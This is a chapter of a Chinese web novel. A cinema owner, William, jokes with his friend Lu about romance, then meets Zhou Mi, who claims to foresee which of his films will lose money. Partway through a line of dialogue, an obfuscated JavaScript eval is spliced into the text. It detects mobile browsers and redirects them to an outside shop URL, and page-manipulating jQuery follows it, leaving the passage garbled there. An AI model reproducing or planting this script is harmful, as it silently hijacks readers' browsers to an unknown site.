陆世铮把球拍收进包里,拉链拉好,拎起来往肩上一搭:
“看来你惹上了麻烦。今天的球只能到此为止,我要回去工作了。下次再约。”
威廉愣了一下,随即冲着他的背影喊起来:
“喂!我可没准备去见这种奇怪的人!陆!我不许你走!打球!我们继续打球!”
陆世铮脚步没停,只是偏过头来看了他一眼。
威廉以为有戏,立刻挺了挺胸,等着他回心转意。
陆世铮却只是笑了一下,“根据我的经验,有时候看起来很离谱的事,未必不会带来惊喜。”
威廉皱起眉头:“什么意思?”
陆世铮停下脚步,转过身来:
“我和你讲过没有?我之前收到过一张纸条,上面只有一句话,就敢问我要一千块。”
威廉的眉毛挑起来:“纸条上写的什么?”
“关于有声电影,见面一晤,助君破鼎。”
威廉眨了眨眼,蓝眼睛里满是困惑:“破鼎?什么意思?”
陆世铮道:“我也不知道。我猜,可能是什么剑仙小说里的词吧,现在不是最流行剑仙小说么?”他顿了顿,“总之,是帮助我的意思就是了。”
“你真见了?”
“对啊。”
“给你带来惊喜了?”
陆世铮点点头。
“哦?”威廉的眼睛亮了,等着下文。
陆世铮却只是抬起手,做了个“打住”的手势。
“再详细不可说了。”他说,语气里带着一点抱歉的笑意,“公司机密。”
威廉翻了个白眼,又很有兴味的一笑,“是同一个人吗?”
“什么?”
“你fallinlove的那位,和给你惊喜的那位,是一个人吗?”
“你怎么知道?”
威廉“哈”了一声,抱着手臂往后一靠:“看你表情咯,一脸荡漾。”
“荡漾?不会吧?”
陆世铮摸了摸自己的脸,他不相信自己会做出那样的表情,
“你从哪里学会的这个词?你在看鸳鸯蝴蝶派的小说?”
“哈哈,为了研究一下东方女士喜欢的约会方式,看些言情小说很正常吧。”
威廉耸耸肩,然后凑近了一点,
“陆,说说你喜欢的这位,她喜欢你吗?”
陆世铮沉默了两秒,“我不知道。她给我的感觉……她似乎对人类完全没有兴趣。她从不和别人交心,又很理性,即便有不开心的时候,也很快能自己调整好。她很有礼貌,也很爱笑,但我能感觉出,她亲和的外表下面,内心相当自我…"
"但她又非常有正义感,会为了别人见怪不怪的事情打抱不平。她很神秘,从来不暴露自己的私事。她知识面很广,懂得很多专家都不了解的知识,可她又说她没上过大学…我还要怎么说?我不了解她。”
威廉听完,忽然笑出声来,笑得肩膀直抖,他从长长的一段话中划出重点:
“陆,你真自恋。人家应当只是不喜欢你,你却说人家不喜欢人类?”
陆世铮把球拍往地上一杵,语气很认真:
“威廉,你可以随便对我开其他玩笑。但不要开这种。”
威廉见他这副表情,立刻举起双手,做投降状。
“OK,OK,不开不开。”
他放下手,又恢复了那副吊儿郎当的样子,
“那我和你又不一样。你那是病急乱投医,我这好好的做生意,又没什么困难,不需要谁帮助我。”
“那随便你。”陆世铮拎起包转身,“反正我要回去工作了。”
“陆!别走嘛!我教你怎么追求她,你要不要听?"
陆世铮停下了脚步。
威廉把球拍往肩上一扛,晃着步子凑过去,绕到陆世铮面前。
“你最大的问题,就是你是一个十足的gentleman。gentleman本身不是问题,”威廉抱着手臂,“但不适合这样的女孩子。”
“怎么讲?”
“你太温和了。”威廉耸耸肩,“你要对她展开猛烈的追求。你向她表达过吗?”
陆世铮沉吟道:"表达过,我送过她一双舞鞋,应该还算比较暧昧的礼物?但她并没有什么反应。"
威廉笑道:"可以啊,陆!你蛮有情调的,看来,她是完全对你没兴趣。"
陆世铮的脸色沉了沉,"…威廉,我真的不想和你聊了。"
威廉一把拽住他的胳膊,“sorrysorry,开个玩笑,开个玩笑。我想说的是,你应该强烈的占有她!强烈!"
他握紧拳头,往自己掌心猛地一击,
"比如,把她按在怀里狂亲,亲的她手脚发软,就像好莱坞电影里那样!就像入室抢劫那样!强烈的!占有!你要勇敢一些。"
陆世铮摇了摇头,"威廉,你不了解她,不要乱出主意。"说完,他转身走了。
威廉在后面大喊:"Alright!这次是因为你要去工作才不能继续,这局球不能算你赢!”
陆世铮头也没回,只抬起手摆了摆,算是听见了。
搭子一走,威廉心里顿觉百无聊赖。
反正没人陪他玩了,闲着也是闲着,不如去看看是什么疯狂的人物,于是把球拍往腋下一夹,慢悠悠往更衣室走。
冲了个澡,换了身衣服,对着镜子把金棕色的头发往后拢了拢,又用手指捻了捻鬓角那几根不听话的碎发,确认每一缕都待在应该待的位置上。这才推开门,不紧不慢地朝会客室晃过去。
门推开的一瞬间,周弥怔了一下,她脑子里冒出一个名字。
莱昂纳多?是你吗?
虽然听起来有点俗套,可这人真的好像年轻时候的小李子呀。
金棕色的头发还带着湿意,松散地往后梳着,露出光洁的额头。浅蓝色的衬衫袖口随意挽着,人靠在门框上,一条腿微微曲着,另一条腿悠闲地交叉过来,像一只刚从阳光下踱步回来的大猫,慵懒,自得,还带着点“我知道你在看我”的得意。
看起来确实如李记元所说,不是什么正经人物。
威廉晃着步子走进来,在沙发上坐下,翘起二郎腿,脚尖还轻轻点了点,
“wow,原来是位漂亮的小姐。”
他的语调拖得长长的,带着一点慵懒的鼻音,
“那我真是来对了。听秘书说了你很crazy的要求,我差点错过。”
周弥摆出一个热情的微笑:"那么,是可以谈一谈的了?"
威廉抬起一根手指,慢悠悠地晃了晃:"不谈生意,也不谈恋爱,我想和你约会。可以么?"
“呃……”
“呃是什么意思?”
“类似emmmm?我只是来谈
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230031|193976||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生意的,约会什么的,不在我的计划内。”
威廉愣了一下,随即大笑起来,那笑声很响,带着一种毫不掩饰的畅快。
“计划?”他笑够了,用手背擦了擦眼角,“你对你如此crazy的想法还做了计划?”
周弥并没有被他的嘲讽搞破防,"是的,我这次来,是想和你谈谈我们的这部电影,它是一部…"
"Nonono!"
威廉打断了她的话,他往前倾了倾身,手肘撑在膝盖上,歪着头看她,
“实话实说,我对你的电影介绍毫无兴趣,因为我绝不可能接受你的那个——什么换档期的计划。你知道那会让我赔付一大笔违约金吗?”
“如果是这样的后果,”周弥说,“我哪会好意思来找别人谈合作呢?我看起来像那种傻白甜吗?”
威廉的眉毛挑起来,他不明白傻白甜是什么意思,不过对他来说,遇到听不懂的汉语词汇是很常见的事。
这个国家幅员辽阔,历史悠久,就连本国人都未必能听得懂彼此的一些词汇,他对词汇当然也没有应学尽学的欲望。
还是听这位女士吹牛比较有意思。
他挑挑眉,富有感情的“哦?”了一声,语调上扬,做出鼓励对方王婆卖瓜的态度。
周弥做出解释:“我自然有可以和你交换的利益,而且价值远高于违约金。我可以告诉你,哪些片子是必定要赔钱的。调整排片,赔一小笔违约金,反而能帮你避免更大的损失。”
"听起来很有吸引力,"威廉故意逗弄她,"但我自己就是一个塔罗牌学者,我占卜过,我马上要上映的这几部影片,都会大赚特赚!"
"是么?看来西方的神仙不管东方的事呀!"
周弥偏过头,朝窗外扬了扬下巴,
“外面那几块广告牌,就是你们影院马上要上映的片子吧?”
威廉顺着她的目光看出去,光陆大戏院门口并排立着三块巨幅海报,画着洋人男女拥吻的剪影,底下印着花体英文片名。
“那部《玫瑰之夜》票房会惨淡。”她抬起手指向左边那张海报。
威廉眯起眼睛看了看:“派拉蒙的片子。投资二十万美金,女主角是去年刚捧出来的新人,风头正劲。你说它会赔钱?”
“是的。”
“理由?”
“男主角马上会有丑闻。”
威廉怔了一下,随即失笑:“丑闻?你怎么知道?你是他经纪人?”
周弥并没有回答这个问题,一味做出一副故作神秘、不置可否、玄而又玄的表情。
“再说个近的。”她指向中间那张海报,“这部《舞厅之爱》,下周三上映。你注意到没有?这片子的预告片,从来没有出现过男主角的正脸。”
威廉回想了一下,好像确实没有。
“因为男主角的脸出了问题。拍摄期间出了一次车祸,缝了十七针,右脸留了疤。派拉蒙压着这个消息,但片子里的镜头根本剪不干净。你等着看正片,所有他的正面特写,全是背影替身或者遮遮掩掩的侧脸。这部会赔的更惨。”
威廉点点头:“照你这么说,我马上要走霉运了!我也研究过你们东方的玄学,你们称呼那些术士——叫什么来着?算命先生?”
他顿了顿,嘴角翘起来:
“他们一般也用这种方法。想欺诈别人的时候,就会说你印堂发黑什么的。”